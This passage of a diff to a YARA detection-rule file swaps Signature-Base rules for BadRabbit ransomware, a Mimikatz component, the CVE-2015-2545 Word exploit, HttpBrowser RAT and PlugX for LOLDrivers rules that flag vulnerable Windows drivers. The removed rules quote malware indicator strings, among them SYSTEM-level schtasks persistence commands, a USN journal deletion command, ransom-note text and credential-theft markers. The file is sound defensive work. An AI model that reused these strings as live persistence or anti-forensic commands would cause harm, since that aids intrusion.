-		( uint16(0)==0x5A4D or uint32(0)==0x464c457f) and ( all of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Badrabbit_Gen : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realixtm_Hwinfosys_Hwinfokerneldriver_8DCE : FILE
 {
 	meta:
-		description = "Detects BadRabbit Ransomware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "272e50f8-5aef-52ec-a5d0-01e8504d6c55"
-		date = "2017-10-25"
-		modified = "2023-12-05"
-		reference = "https://pastebin.com/Y7pJv3tK"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_badrabbit.yar#L11-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "21c63a02d0284ce759b087f4869c4ed8e6b50c37ffeb724538567e28aeae16ac"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HWiNFO32.SYS"
+		author = "Florian Roth"
+		id = "176b70cc-3b8c-57f2-82be-42d9a9b9069f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6229-L6248"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "8dcec67a1f4903981c3e0ab938784c2f241e041e26748e1c22059e0e507cfb37"
+		logic_hash = "4900c684a248338e686b0da0288fe2937cf5d0f5e453419b6f8091c2fc7fc061"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93"
-		hash2 = "579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648"
-		hash3 = "630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da"
 
 	strings:
-		$x1 = "schtasks /Create /SC ONCE /TN viserion_%u /RU SYSTEM /TR \"%ws\" /ST" fullword wide
-		$x2 = "schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR \"%ws /C Start \\\"\\\" \\\"%wsdispci.exe\\\"" fullword wide
-		$x3 = "C:\\Windows\\infpub.dat" fullword wide
-		$x4 = "C:\\Windows\\cscc.dat" fullword wide
-		$s1 = "need to do is submit the payment and get the decryption password." fullword ascii
-		$s2 = "\\\\.\\GLOBALROOT\\ArcName\\multi(0)disk(0)rdisk(0)partition(1)" fullword wide
-		$s3 = "\\\\.\\pipe\\%ws" fullword wide
-		$s4 = "fsutil usn deletejournal /D %c:" fullword wide
-		$s5 = "Run DECRYPT app at your desktop after system boot" fullword ascii
-		$s6 = "Files decryption completed" fullword wide
-		$s7 = "Disable your anti-virus and anti-malware programs" fullword wide
-		$s8 = "SYSTEM\\CurrentControlSet\\services\\%ws" fullword wide
-		$s9 = "process call create \"C:\\Windows\\System32\\rundll32.exe" fullword wide
-		$s10 = "%ws C:\\Windows\\%ws,#1 %ws" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200450041004c0069005800280074006d0029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e003500300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00350030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290031003900390039002d00320030003100300020004d0061007200740069006e0020004d0061006c00ed006b0020002d0020005200450041004c00690058 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and (1 of ($x*) or 2 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Badrabbit_Mimikatz_Comp : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_E3EF : FILE
 {
 	meta:
-		description = "Auto-generated rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "52affd3f-6bf9-55f6-92a5-69314a2e76e0"
-		date = "2017-10-25"
-		modified = "2023-12-05"
-		reference = "https://pastebin.com/Y7pJv3tK"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_badrabbit.yar#L42-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9d12d9331686a54e8d32f94761e4889710bbd2432d4cb2e4e7e3f21ef6aa082a"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "3778fe25-a5d5-5cb0-8f03-9ceed5d71aa9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6251-L6270"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e3eff841ea0f2786e5e0fed2744c0829719ad711fc9258eeaf81ed65a52a8918"
+		logic_hash = "50c225f42f3b7ac785d01cc9ad5542ac2e12d26e707d0ed5b8c5415d981479bc"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2f8c54f9fa8e47596a3beff0031f85360e56840c77f71c6a573ace6f46412035"
 
 	strings:
-		$s1 = "%lS%lS%lS:%lS" fullword wide
-		$s2 = "lsasrv" fullword wide
-		$s3 = "CredentialKeys" ascii
-		$s4 = { 50 72 69 6D 61 72 79 00 6D 00 73 00 76 00 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030002e0030002e0031003100300031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 3 of them )
+		uint16(0)==0x5a4d and filesize <500KB and all of them
 }
-rule SIGNATURE_BASE_Exp_EPS_CVE20152545 : CVE_2015_2545 FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Arthurliberman_Alsysiosys_Alsysio_7F37 : FILE
 {
 	meta:
-		description = "Detects EPS Word Exploit CVE-2015-2545"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9a5f0554-b588-5b82-93df-0fdfba2af2da"
-		date = "2017-07-19"
-		modified = "2023-12-05"
-		reference = "Internal Research - ME"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2015_2545.yar#L2-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e1aac80a06dd71352d2776b4dfccce901d47363459853a37669af69be6e962c7"
-		score = 70
-		quality = 85
-		tags = "CVE-2015-2545, FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ALSysIO64.sys"
+		author = "Florian Roth"
+		id = "f523949b-aff9-532a-9f13-983f4a47635d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6273-L6292"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7f375639a0df7fe51e5518cf87c3f513c55bc117db47d28da8c615642eb18bfa"
+		logic_hash = "5e796e1ebc587faf2f8255e6229fe4f97f781fd66100398561703320d34728c1"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "word/media/image1.eps" ascii
-		$s2 = "-la;7(la+" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004c0053007900730049004f }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041007200740068007500720020004c0069006200650072006d0061006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0039002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0039002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004c0053007900730049004f }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300033002d003200300030003900200041007200740068007500720020004c0069006200650072006d0061006e }
 
 	condition:
-		uint16(0)==0x4b50 and ($s1 and #s2>20)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Httpbrowser_RAT_Dropper_Gen1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Paniosys_Paniolibrary_F596 : FILE
 {
 	meta:
-		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Dropper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2e347024-ac5f-5e8c-a8b0-53eaa9a03979"
-		date = "2015-08-06"
-		modified = "2023-12-05"
-		reference = "http://snip.ly/giNB"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_threatgroup_3390.yar#L8-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "927821e974cff6cd4d15b19bf4d0486abc57725ecdf6f00755dd4f912fbf82d1"
-		score = 70
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanIO.sys"
+		author = "Florian Roth"
+		id = "098abff0-1471-5793-8366-89df85dc216c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6295-L6314"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f596e64f4c5d7c37a00493728d8756b243cfdc11e3372d6d6dfeffc13c9ab960"
+		logic_hash = "5694c7f1a74ffd5cdaa143bc563939589305450c3ee24c758fb7379b79f73764"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "808de72f1eae29e3c1b2c32be1b84c5064865a235866edf5e790d2a7ba709907"
-		hash2 = "f6f966d605c5e79de462a65df437ddfca0ad4eb5faba94fc875aba51a4b894a7"
-		hash3 = "f424965a35477d822bbadb821125995616dc980d3d4f94a68c87d0cd9b291df9"
-		hash4 = "01441546fbd20487cb2525a0e34e635eff2abe5c3afc131c7182113220f02753"
-		hash5 = "8cd8159f6e4689f572e2087394452e80e62297af02ca55fe221fe5d7570ad47b"
-		hash6 = "10de38419c9a02b80ab7bf2f1f1f15f57dbb0fbc9df14b9171dc93879c5a0c53"
-		hash7 = "c2fa67e970d00279cec341f71577953d49e10fe497dae4f298c2e9abdd3a48cc"
 
 	strings:
-		$x1 = "1001=cmd.exe" fullword ascii
-		$x2 = "1003=ShellExecuteA" fullword ascii
-		$x3 = "1002=/c del /q %s" fullword ascii
-		$x4 = "1004=SetThreadPriority" fullword ascii
-		$op0 = { e8 71 11 00 00 83 c4 10 ff 4d e4 8b f0 78 07 8b }
-		$op1 = { e8 85 34 00 00 59 59 8b 86 b4 }
-		$op2 = { 8b 45 0c 83 38 00 0f 84 97 }
-		$op3 = { 8b 45 0c 83 38 00 0f 84 98 }
-		$op4 = { 89 7e 0c ff 15 a0 50 40 00 59 8b d8 6a 20 59 8d }
-		$op5 = { 56 8d 85 cd fc ff ff 53 50 88 9d cc fc ff ff e8 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00540065006d0070006500720061007400750072006500200061006e0064002000730079007300740065006d00200069006e0066006f0072006d006100740069006f006e0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e0049004f002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e0049004f0020004c006900620072006100720079 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e0049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of ($x*) and 1 of ($op*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Httpbrowser_RAT_Sample1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_6C5A : FILE
 {
 	meta:
-		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Sample update.hancominc.com"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8babf47f-006c-5001-9753-08ac08f5e861"
-		date = "2015-08-06"
-		modified = "2023-12-05"
-		reference = "http://snip.ly/giNB"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_threatgroup_3390.yar#L50-L65"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "746df577e952e0354342a48fe9f1650e63e3470902e7c5bba36d36fa34ea2bff"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nicm.sys"
+		author = "Florian Roth"
+		id = "eb1ea3d1-6435-5ca6-b16a-111befaf2000"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6317-L6336"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6c5aef14613b8471f5f4fdeb9f25b5907c2335a4bc18b3c2266fb1ffd8f1741d"
+		hash = "ec1307356828426d60eab78ffb5fc48a06a389dea6e7cc13621f1fa82858a613"
+		logic_hash = "02155af4ab432fbbec1bf582fa8161eb2e39c258bb0f67fcc7054d2f3c8a46be"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "be334d1f8fa65a723af65200a166c2bbdb06690c8b30fafe772600e4662fc68b"
-		hash2 = "1052ad7f4d49542e4da07fa8ea59c15c40bc09a4d726fad023daafdf05866ebb"
 
 	strings:
-		$s0 = "update.hancominc.com" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c00200043006c00690065006e007400200050006f00720074006100620069006c0069007400790020004c0061007900650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00490043004d002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310031002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and $s0
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Httpbrowser_RAT_Sample2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_1768 : FILE
 {
 	meta:
-		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Sample"
-		author = "Florian Roth (Nextron Systems)"
-		id = "693d381f-50b0-5f06-b725-78243b67092c"
-		date = "2015-08-06"
-		modified = "2023-12-05"
-		reference = "http://snip.ly/giNB"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_threatgroup_3390.yar#L67-L84"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c7e945131a867bf46a467784d7119c95342733cc723cdeeb76d69c8fdb326749"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "4d79b72a-0848-5fe4-89fe-b16ab03d18d3"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6339-L6358"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "17687cba00ec2c9036dd3cb5430aa1f4851e64990dafb4c8f06d88de5283d6ca"
+		logic_hash = "5fb10d691fda963001b9a3c07b22db5e63beef984f26bc7d31ad98a1524ce5ff"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c57c5a2c322af2835ae136b75283eaaeeaa6aa911340470182a9983ae47b8992"
 
 	strings:
-		$s0 = "nKERNEL32.DLL" fullword wide
-		$s1 = "WUSER32.DLL" fullword wide
-		$s2 = "mscoree.dll" fullword wide
-		$s3 = "VPDN_LU.exeUT" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0038002e003100330037002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0038002e003100330037002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <250KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Httpbrowser_RAT_Gen : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Cn_Computerzsys_3913 : FILE
 {
 	meta:
-		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Generic"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0ba9facb-7385-56ce-9e20-d86261a39cd1"
-		date = "2015-08-06"
-		modified = "2023-12-05"
-		reference = "http://snip.ly/giNB"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_threatgroup_3390.yar#L86-L124"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cbc1dec88994427fc5003c9506f5a766531136ee80a16d00d2bf5bd5d7990cb3"
-		score = 90
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "26b781e0-c148-5506-b135-9b0b8fbf7cf3"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6361-L6382"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "39134750f909987f6ebb46cf37519bb80707be0ca2017f3735018bac795a3f8d"
+		hash = "a34e45e5bbec861e937aefb3cbb7c8818f72df2082029e43264c2b361424cbb1"
+		hash = "3e758221506628b116e88c14e71be99940894663013df3cf1a9e0b6fb18852b9"
+		logic_hash = "3750522328a703bfff3a782a9470848875ac679f2a4a4bcabc148f0d8d89697d"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0299493ccb175d452866f5e21d023d3e92cd8d28452517d1d19c0f05f2c5ca27"
-		hash2 = "065d055a90da59b4bdc88b97e537d6489602cb5dc894c5c16aff94d05c09abc7"
-		hash3 = "05c7291db880f94c675eea336ecd66338bd0b1d49ad239cc17f9df08106e6684"
-		hash4 = "07133f291fe022cd14346cd1f0a649aa2704ec9ccadfab809ca9c48b91a7d81b"
-		hash5 = "0f8893e87ddec3d98e39a57f7cd530c28e36d596ea0a1d9d1e993dc2cae0a64d"
-		hash6 = "108e6633744da6efe773eb78bd0ac804920add81c3dde4b26e953056ac1b26c5"
-		hash7 = "1052ad7f4d49542e4da07fa8ea59c15c40bc09a4d726fad023daafdf05866ebb"
-		hash8 = "1277ede988438d4168bb5b135135dd3b9ae7d9badcdf1421132ca4692dd18386"
-		hash9 = "19be90c152f7a174835fd05a0b6f722e29c648969579ed7587ae036679e66a7b"
-		hash10 = "1e7133bf5a9fe5e462321aafc2b7770b8e4183a66c7fef14364a0c3f698a29af"
-		hash11 = "2264e5e8fcbdcb29027798b200939ecd8d1d3ad1ef0aef2b8ce7687103a3c113"
-		hash12 = "2a1bdeb0a021fb0bdbb328bd4b65167d1f954c871fc33359cb5ea472bad6e13e"
-		hash13 = "259a2e0508832d0cf3f4f5d9e9e1adde17102d2804541a9587a9a4b6f6f86669"
-		hash14 = "240d9ce148091e72d8f501dbfbc7963997d5c2e881b4da59a62975ddcbb77ca2"
-		hash15 = "211a1b195cf2cc70a2caf8f1aafb8426eb0e4bae955e85266490b12b5322aa16"
-		hash16 = "2d25c6868c16085c77c58829d538b8f3dbec67485f79a059f24e0dce1e804438"
-		hash17 = "2d932d764dd9b91166361d8c023d64a4480b5b587a6087b0ce3d2ac92ead8a7d"
-		hash18 = "3556722d9aa37beadfa6ba248a66576f767e04b09b239d3fb0479fa93e0ba3fd"
-		hash19 = "365e1d4180e93d7b87ba28ce4369312cbae191151ac23ff4a35f45440cb9be48"
-		hash20 = "36c49f18ce3c205152eef82887eb3070e9b111d35a42b534b2fb2ee535b543c0"
-		hash21 = "3eeb1fd1f0d8ab33f34183893c7346ddbbf3c19b94ba3602d377fa2e84aaad81"
-		hash22 = "3fa8d13b337671323e7fe8b882763ec29b6786c528fa37da773d95a057a69d9a"
 
 	strings:
-		$s0 = "%d|%s|%04d/%02d/%02d %02d:%02d:%02d|%ld|%d" fullword wide
-		$s1 = "HttpBrowser/1.0" fullword wide
-		$s2 = "set cmd : %s" ascii fullword
-		$s3 = "\\config.ini" wide fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]003300360030002e0063006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e00310031002e003400310035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e00310031002e003400310035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]003300360030786c4ef659275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100310020003300360030002e0063006e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <45KB and filesize >20KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Plugx_Nvsmartmax_Gen : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Cn_Computerzsys_767E : FILE
 {
 	meta:
-		description = "Threat Group 3390 APT Sample - PlugX NvSmartMax Generic"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5ecd25a8-9717-527f-bb6e-3259b9a60458"
-		date = "2015-08-06"
-		modified = "2023-12-05"
-		reference = "http://snip.ly/giNB"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_threatgroup_3390.yar#L126-L154"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7795b0d978f9447a6cee808708d65992447e359539a8fe64331c06ad46ff7491"
-		score = 70
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "b4b9dbcc-b5bd-5a9b-b190-10e20afc5220"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6385-L6405"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "767ef5c831f92d92f2bfc3e6ea7fd76d11999eeea24cb464fd62e73132ed564b"
+		hash = "d9a73df5ac5c68ef5b37a67e5e649332da0f649c3bb6828f70b65c0a2e7d3a23"
+		logic_hash = "624a88bcb301508151c2afdd1d5f076d04e2941dc2178b931f9dcfe3d63ab47d"
+		score = 40
+		quality = 80
 		tags = "FILE"
